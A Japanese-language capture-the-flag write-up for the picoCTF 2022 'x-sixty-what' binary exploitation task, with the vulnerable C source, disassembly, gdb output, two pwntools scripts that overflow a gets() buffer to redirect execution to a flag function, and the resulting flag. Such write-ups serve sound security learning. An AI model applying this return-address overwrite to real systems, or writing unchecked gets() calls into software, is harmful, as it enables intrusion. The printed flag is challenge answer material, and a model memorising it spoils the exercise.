picoCTF 2022 writeup x-sixty-what

## x-sixty-what (Binary Exploitation)

Overflow x64 code Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the `flag` function in this program. Download source. 
`nc saturn.picoctf.net 50165`

添付ファイル
・vuln
・vuln.c

とりあえず、実行する。
```
$ nc saturn.picoctf.net 49944
Welcome to 64-bit. Give me a string that gets you the flag: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
問題文によるとoverflowさせてreturn addressをflag functionのadressに書き換えれば良いらしい。
ソースコードを確認する。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}
```
exploitに必要な情報を集める。
```
$ file vuln 
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8ba2226f06946bc75922ba6fb1919e6283162f22, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/colza-picoctf/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$ readelf -a vuln
...
    72: 0000000000401236   124 FUNC    GLOBAL DEFAULT   15 flag
...
```
```
Dump of assembler code for function main:
   0x00000000004012d2 <+0>:     endbr64 
   0x00000000004012d6 <+4>:     push   rbp
   0x00000000004012d7 <+5>:     mov    rbp,rsp
   0x00000000004012da <+8>:     sub    rsp,0x20
   0x00000000004012de <+12>:    mov    DWORD PTR [rbp-0x14],edi
   0x00000000004012e1 <+15>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00000000004012e5 <+19>:    mov    rax,QWORD PTR [rip+0x2d84]        # 0x404070 <stdout@@GLIBC_2.2.5>
   0x00000000004012ec <+26>:    mov    ecx,0x0
   0x00000000004012f1 <+31>:    mov    edx,0x2
   0x00000000004012f6 <+36>:    mov    esi,0x0
   0x00000000004012fb <+41>:    mov    rdi,rax
   0x00000000004012fe <+44>:    call   0x401120 <setvbuf@plt>
   0x0000000000401303 <+49>:    call   0x401110 <getegid@plt>
   0x0000000000401308 <+54>:    mov    DWORD PTR [rbp-0x4],eax
   0x000000000040130b <+57>:    mov    edx,DWORD PTR [rbp-0x4]
   0x000000000040130e <+60>:    mov    ecx,DWORD PTR [rbp-0x4]
   0x0000000000401311 <+63>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401314 <+66>:    mov    esi,ecx
   0x0000000000401316 <+68>:    mov    edi,eax
   0x0000000000401318 <+70>:    mov    eax,0x0
   0x000000000040131d <+75>:    call   0x4010d0 <setresgid@plt>
   0x0000000000401322 <+80>:    lea    rdi,[rip+0xd3f]        # 0x402068
   0x0000000000401329 <+87>:    call   0x4010c0 <puts@plt>
   0x000000000040132e <+92>:    mov    eax,0x0
   0x0000000000401333 <+97>:    call   0x4012b2 <vuln>
   0x0000000000401338 <+102>:   mov    eax,0x0
   0x000000000040133d <+107>:   leave  
   0x000000000040133e <+108>:   ret
   
Dump of assembler code for function vuln:
   0x00000000004012b2 <+0>:     endbr64 
   0x00000000004012b6 <+4>:     push   rbp
   0x00000000004012b7 <+5>:     mov    rbp,rsp
   0x00000000004012ba <+8>:     sub    rsp,0x40
   0x00000000004012be <+12>:    lea    rax,[rbp-0x40]
   0x00000000004012c2 <+16>:    mov    rdi,rax
   0x00000000004012c5 <+19>:    mov    eax,0x0
   0x00000000004012ca <+24>:    call   0x401100 <gets@plt>
   0x00000000004012cf <+29>:    nop
   0x00000000004012d0 <+30>:    leave  
   0x00000000004012d1 <+31>:    ret
```
gdbでスタックの状況を確認する。入力で82文字分の"a"を与えると、以下のようになった。
```
 RBP  0x7fffffffde20 ◂— 'aaaaaaaaaaaaaaaaaa'
 RSP  0x7fffffffdde0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

  ► 0         0x4012cf vuln+29
   1 0x6161616161616161
   2   0x7fffff006161
```
10文字分のアドレスが"a"に書き換わっていることが分かる。
ペイロードは`(64+8)文字分の何か + return address + flag function address`となる。

以下、実行コード。
```python solver.py
from pwn import *

p = remote("saturn.picoctf.net", 50165)

payload = b"a"*72 
payload += p64(0x4012d1)
payload += p64(0x401236)

p.sendline(payload)

p.interactive()
```
実行する。
```
$ python solver.py
[+] Opening connection to saturn.picoctf.net on port 50165: Done
[*] Switching to interactive mode
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{b1663r_15_b3773r_d95e02b6}[*] Got EOF while reading in interactive
```
フラグが得られた。

`picoCTF{b1663r_15_b3773r_d95e02b6}`

ちなみに以下のコードでもフラグが得られる。
```python
from pwn import *

p = remote("saturn.picoctf.net", 50165)

payload = b"a"*72 
payload += p64(0x40123b)

p.sendline(payload)

p.interactive()
```